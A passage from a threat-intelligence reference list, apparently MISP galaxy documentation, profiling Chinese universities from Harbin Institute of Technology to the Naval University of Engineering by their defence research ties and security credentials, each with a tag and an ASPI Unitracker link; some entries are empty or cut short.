HIT is one of China's top defence research universities. As one of seven universities run by MIIT, it is known as one of the 'Seven Sons of National Defence' (□□□□). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China's defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university's graduates that year who found employment were working in the defence sector.HIT has been described by Chinese state media as having 'defence technology innovation and weapons and armaments modernisation as its core'. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry.HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China's civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (□□□□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="Harbin Institute of Technology (□□□□□□□)"*

Table 899. Table References

Links
https://unitracker.aspi.org.au/universities/harbin-institute-of-technology

Harbin University of Science and Technology (□□□□□□□□)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university's involvement in defence-related research and training.HRBUST's relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: *misp-galaxy:china-defence-universities="Harbin University of Science and Technology (□□□□□□□□)"*

Table 900. Table References

Links
https://unitracker.aspi.org.au/universities/harbin-university-of-science-and-technology

Hebei University (□□□□)

Hebei University is Hebei Province's only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in 'strengthening its national defence characteristics'.HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university's College of Physics Science and Technology as a 'discipline with defence characteristics'. An article about this on the university's news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU's only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.In 2017, HBU held a forum on military-civil fusion for technology and innovation to 'uncover the university's potential for defence-industry technological research' and encourage greater integration with defence companies.

The tag is: *misp-galaxy:china-defence-universities="Hebei University (□□□□)"*

Table 901. Table References

Links
https://unitracker.aspi.org.au/universities/hebei-university

Hebei University of Science and Technology (□□□□□□)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government agreed to jointly develop the university's involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated 'disciplines with national defence charcteristics' by SASTIND. HEBUST may also be pursuing greater integration between China's defence needs and the university's research on textiles engineering and biological fermentation.HEBUST states that is has developed close cooperation with China Electronics Technology Group Corporation's 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

The tag is: *misp-galaxy:china-defence-universities="Hebei University of Science and Technology (□□□□□□)"*

Table 902. Table References

Links

https://unitracker.aspi.org.au/universities/hebei-university-of-science-and-technology

Hefei University of Technology (□□□□□□)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects.In 2018, the university came under a 'joint-construction' agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement 'will powerfully advance the university's development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.'Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China's defence industry, is a graduate of HFUT.

The tag is: *misp-galaxy:china-defence-universities="Hefei University of Technology (□□□□□□)"*

Table 903. Table References

Links
https://unitracker.aspi.org.au/universities/hefei-university-of-technology

Heilongjiang Institute of Technology (□□□□□□□)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In 2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university's ability to 'show its national defence characteristics and serve the national defence science and technology industry.'SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three 'disciplines with national defence characteristics' at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (□□□-□□□□ICT□□□□□□□□) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (□□□□□□□-□□□□□□□□□□). ZTE has been reportedly barred from US government contracts.As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (□□□□□□□□□□□□□□□), specialises in smart city and informatization technology.HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Heilongjiang Institute of Technology (□□□□□□□)"*

Table 904. Table References

Links
https://unitracker.aspi.org.au/universities/heilongjiang-institute-of-technology

Heilongjiang University (□□□□□)

HLJU is supervised by the Ministry of Education, the Heilongjiang Provincial Government and SASTIND. SASTIND's supervision of the university is designed to promote its integration with China's defence technology goals. In 2016, the year after HLJU came under SASTIND's supervision, the university received third-class security credentials and funding for a national defence technology research project for the first time. Third-class security credentials allow the university to participate in confidential defence research projects. By 2018, HLJU claimed to have received RMB13 million (AUD2.7 million) in defence research funding.HLJU has close ties with Russian universities and is best known for its work in the Chemistry, Chemical Engineering and Materials Department, which entered the top 1 percent of ESI's global rankings.

The tag is: *misp-galaxy:china-defence-universities="Heilongjiang University (□□□□□)"*

Table 905. Table References

Links
https://unitracker.aspi.org.au/universities/heilongjiang-university

Henan University of Science and Technology (□□□□□□)

HAUST is Henan province's leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province's only university subject to a 'joint-construction' agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST's involvement in defence research. As early as 2009, the university stated that it had made great contributions to the defence and aviation industries, undertaking large amounts of defence research projects.HAUST describes itself as China's primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as 'disciplines with defence characteristics', covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities.The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

The tag is: *misp-galaxy:china-defence-universities="Henan University of Science and Technology (□□□□□□)"*

Table 906. Table References

Links
https://unitracker.aspi.org.au/universities/henan-university-of-science-and-technology

Huazhong University of Science and Technology (□□□□□□)

HUST is one of China's leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012.The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST's defence research.HUST has worked closely with the PLA and China's defence industry. This collaboration includes the development artificial intelligence and imaging technology for weapons. The university's work on pulsed power is linked to China's nuclear and directed-energy weapons program. China's state-owned defence conglomerates and China's nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating.HUST holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence projects.

The tag is: *misp-galaxy:china-defence-universities="Huazhong University of Science and Technology (□□□□□□)"*

Table 907. Table References

Links
https://unitracker.aspi.org.au/universities/huazhong-university-of-science-and-technology

Hunan University (□□□□)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research.In 2011, China's defence industry agency, SASTIND, entered a partnership with the MOE to expand the university's participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university's National Supercomputer Center.HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: *misp-galaxy:china-defence-universities="Hunan University (□□□□)"*

Table 908. Table References

Links
https://unitracker.aspi.org.au/universities/hunan-university

Hunan University of Science and Technology (□□□□□□)

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a ‘joint-construction’ agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university’s involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials.HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy.HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco’s National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (□□□□□□□□□□□□□□□□□ aka □□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="Hunan University of Science and Technology (□□□□□□)"*

Table 909. Table References

Links
https://unitracker.aspi.org.au/universities/hunan-university-of-science-and-technology

Information Engineering University (□□□□□□□□□□□□□□)

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as ‘the sole military academy for the cyber and electronic warfare arms of China’s network-electronic forces’.The IEU is currently subordinate to the PLA Strategic Support Force’s Network Systems Department, which holds the military’s signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA’s signals intelligence service that has been incorporated into the Strategic Support Force. IEU’s command tracks include Network Engineering (□□□□), which is dedicated to the cultivation of cyber attack and defense technical cadre (□□□□□□□□). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (□□□□□□□□□□□□□).The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA’s political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

The tag is: *misp-galaxy:china-defence-universities="Information Engineering University (□□□□□□□□□□□□□□)"*

Table 910. Table References

Links

https://unitracker.aspi.org.au/universities/information-engineering-university-2

Institute of NBC Defense (□□□□□□)

The Institute of NBC Defense is the PLA's premier institution devoted to training junior, mid-career and senior officers on technology related to defence against nuclear, biological and chemical weapons. Most scientific research tends to focus on radiation protection and nuclear safety.

The tag is: *misp-galaxy:china-defence-universities="Institute of NBC Defense (□□□□□□)"*

Table 911. Table References

Links
https://unitracker.aspi.org.au/universities/institute-of-nbc-defense

Jiangnan Social University (□□□□□□)

JSU trains intelligence officers in tradecraft and carries out research on intelligence and security. The university first opened in 1986 with over 600 students and staff. Since 1999, it has run the Journal of Jiangnan Social University, which publishes research on international security, strategy and politics. Satellite and streetview imagery from Google Maps and Baidu appears to show a shooting range at the southern end of its campus.

The tag is: *misp-galaxy:china-defence-universities="Jiangnan Social University (□□□□□□)"*

Table 912. Table References

Links
https://unitracker.aspi.org.au/universities/jiangnan-social-university

Jiangsu University of Science and Technology (□□□□□□)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China's leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, its was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research.JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: *misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (□□□□□□)"*

Table 913. Table References

Links
https://unitracker.aspi.org.au/universities/jiangsu

Jilin University (□□□□)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially.JLU's National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university's national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding.JLU's State Key Laboratory of Superhard Materials (□□□□□□□□□□□□) works closely with China's nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (□□□□□□□□□□□) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials.The university hosts at least two defence research labs, located in the university's College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (□□□□□□□□□□□□□□□□□□□□□□B□□) is involved in cybersecurity research for the Navy. The lab's academic committee is headed by a computer scientist from China Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer.JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Jilin University (□□□□)"*

Table 914. Table References

Links
https://unitracker.aspi.org.au/universities/jilin-university

Kunming University of Science and Technology (□□□□□□)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan's defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university's involvement in defence research.KMUST carries out high levels of research on

metallurgy. It is involved in defence research related to China's aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

The tag is: *misp-galaxy:china-defence-universities="Kunming University of Science and Technology (□□□□□□)"*

Table 915. Table References

Links
https://unitracker.aspi.org.au/universities/kunming-university-of-science-and-technology

Lanzhou University (□□□□)

LZU's involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects.LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university's defence research and the defence industry relationships.LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology.In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China's largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China's nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation.In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

The tag is: *misp-galaxy:china-defence-universities="Lanzhou University (□□□□)"*

Table 916. Table References

Links
https://unitracker.aspi.org.au/universities/lanzhou-university

Lanzhou University of Technology (□□□□□□)

Lanzhou University of Technology (□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Lanzhou University of Technology (□□□□□□)"*

Table 917. Table References

Links
https://unitracker.aspi.org.au/universities/lanzhou-university-of-technology

Logistics University of the People’s Armed Police Force (□□□□□□□□□□□□□□□□)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering.The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (□□□□) and the Tianjin Eminent Electric Cell Material Company (□□□□□□□□□□□□□□) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (□□□□□□) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

The tag is: *misp-galaxy:china-defence-universities="Logistics University of the People’s Armed Police Force (□□□□□□□□□□□□□□□□)"*

Table 918. Table References

Links
https://unitracker.aspi.org.au/universities/logistics-university-of-the-peoples-armed-police-force

Nanchang Hangkong University (□□□□□□)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a ‘school with national defence education characteristics’, and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials.Five fields of research at NCHU are designated ‘national defence key disciplines’: precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence research.NCHU is particularly close to AVIC, the Chinese military’s aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (□□□□□□□□) is based in Nanchang and has frequent exchanges with NCHU.

The tag is: *misp-galaxy:china-defence-universities="Nanchang Hangkong University (□□□□□□)"*

Table 919. Table References

Links
https://unitracker.aspi.org.au/universities/nanchang-hangkong-university

Nanchang University (□□□□)

NCU engages in low levels of defence research. It holds secret-level security credentials, allowing it to carry out classified defence research. In 2006, it established a defence research institute together

with five provincial defence industry companies. Based on affiliated staff members, the institute may be focused on mechanical engineering.The university was added to the US Government Unverified List in 2018. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Nanchang University (□□□□)"*

Table 920. Table References

Links
https://unitracker.aspi.org.au/universities/nanchang-university

Nanjing Army Command College (□□□□□□□□)

The Nanjing Army Command College is an institute devoted to training mid-career staff officers in preparation for command the PLA Ground Force. Disciplines of focus for the college include joint campaign tactics, warfighting command, military training and combat simulations.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Army Command College (□□□□□□□□)"*

Table 921. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-army-command-college

Nanjing Institute of Information Technology (□□□□□□□□□)

Nanjing Institute of Information Technology (□□□□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Nanjing Institute of Information Technology (□□□□□□□□□)"*

Table 922. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-institute-of-information-technology

Nanjing Normal University (□□□□□□)

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence.Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (□□□□□□□□□□□□□□□□), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (□□GIS□□□□□) in April 2012.Nanjing Normal University has a close

relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Normal University (□□□□□□)"*

Table 923. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-normal-university

Nanjing Tech University (□□□□□□)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university's involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects.NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (□□□□□□□□) within its Depart of Scientific of Research. This office is responsible for the university's defence-related research and coordination. NJTTech's School of Materials Science and Engineering (□□□□□□□□□□) has previously worked on defence-related projects.The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Tech University (□□□□□□)"*

Table 924. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-tech-university

Nanjing University (□□□□)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research.In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu's MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel's first research center focusing on

AI in China. The university's rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii □□□□. Megvii has been blacklisted by the US government over human rights abuses.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University (□□□□)"*

Table 925. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university

Nanjing University of Aeronautics and Astronautics (□□□□□□□□□)

NUAA is one of the 'Seven Sons of National Defence' subordinate to the Ministry of Industry and Information Technology. NUAA specialises in aerospace research and works closely with the Chinese military as well as civilian and military aviation companies, including military aircraft manufacturers AVIC and AECC. 21% of the university's graduates in 2018 who found employment were working in the defence sector.The university claims to have participated in nearly all major national aviation projects, including the development of the Chang'e 3 unmanned lunar explorer. NUAA hosts China's only national defence laboratory for helicopter technology.NUAA has attracted controversy for its alleged involvement in the Ministry of State Security's efforts to steal US aviation technology.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Aeronautics and Astronautics (□□□□□□□□□)"*

Table 926. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-aeronautics-and-astronautics

Nanjing University of Posts and Telecommunications (□□□□□□□)

NJUPT was initially 'one of the earliest institutions devoted to training communications personnel for the Chinese Communist Party and red army'. Since then, NJUPT has evolved from a training college to a civilian university that offers undergraduate, post-graduate and doctoral degrees in various communications and engineering disciplines.NJUPT holds secret-level security credentials, allowing it to participate in classified defence research projects.Key areas of research include at the university:

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Posts and Telecommunications (□□□□□□□)"*

Table 927. Table References

Links

https://unitracker.aspi.org.au/universities/nanjing-university-of-posts-and-telecommunications

Nanjing University of Science and Technology (□□□□□□)

NJUST is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector.NJUST is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (□□). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives.NJUST has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University of Science and Technology (□□□□□□)"*

Table 928. Table References

Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-science-and-technology

National Defense University (□□□□□□□□□□□)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927.The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National University of Defense Technology.

The tag is: *misp-galaxy:china-defence-universities="National Defense University (□□□□□□□□□□□)"*

Table 929. Table References

Links
https://unitracker.aspi.org.au/universities/national-defense-university

National University of Defense Technology (□□□□□□□□□□□□□)

In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi’an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers.NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic

missiles and China's Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world's fastest supercomputer from 2013 to 2016. NUDT's Tianhe-1A supercomputer is based at Hunan University's National Supercomputing Center Changsha (□□□□□□□□□□).For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute's International Cyber Policy Centre's October 2018 report 'Picking flowers, making honey: The Chinese military's collaboration with foreign universities' documented and analysed NUDT's overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT's leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad.Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT's 'Intelligence Center' sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China's overseas intelligence activity.NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

The tag is: *misp-galaxy:china-defence-universities="National University of Defense Technology (□□□□□□□□□□□□□)"*

Table 930. Table References

Links
https://unitracker.aspi.org.au/universities/national-university-of-defense-technology

Naval Command College (□□□□□□□□□□□□□)

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (□□□□□□□□□□□) and producing research that looks at operationalising new training and command systems. It is the PLA-N's last remaining command academic institution.

The tag is: *misp-galaxy:china-defence-universities="Naval Command College (□□□□□□□□□□□□□)"*

Table 931. Table References

Links
https://unitracker.aspi.org.au/universities/naval-command-college

Naval Petty Officer Academy (□□□□□□□□□□□□□)

The academy has three main departments focused on training, campus affairs and political work. It has published research on radar jamming.

The tag is: *misp-galaxy:china-defence-universities="Naval Petty Officer Academy (□□□□□□□□□□□□□□)"*

Table 932. Table References

Links
https://unitracker.aspi.org.au/universities/naval-petty-officer-academy

Naval Research Academy (□□□□□□□□□□□□□)

The Naval Research Academy was established in July 2017 following Xi Jinping's military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering.The Naval Research Academy actively collaborates with civilian universities as part of China's military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi'an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying 'very close attention to this co-operation with Xi'an Jiaotong University' in the development and sustainment of naval equipment.The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion.The Naval Research Academy's involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (□□□□□□□□□□□□□□) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (□□□□□□□□□□□□□□□□□□□□□□□) of Harbin Engineering University (HEU). The Naval Research Academy's Liu Qingyu (□□□) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference.Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which 'elaborated on some of the problems facing the national costal defence industry' and 'suggested areas for future research into marine acoustics.' Both students and academics from NPU attended Liu's presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.

The tag is: *misp-galaxy:china-defence-universities="Naval Research Academy (□□□□□□□□□□□□□□)"*

Table 933. Table References

Links
https://unitracker.aspi.org.au/universities/naval-research-academy

Naval University of Engineering (□□□□□□□□□□□□□□)

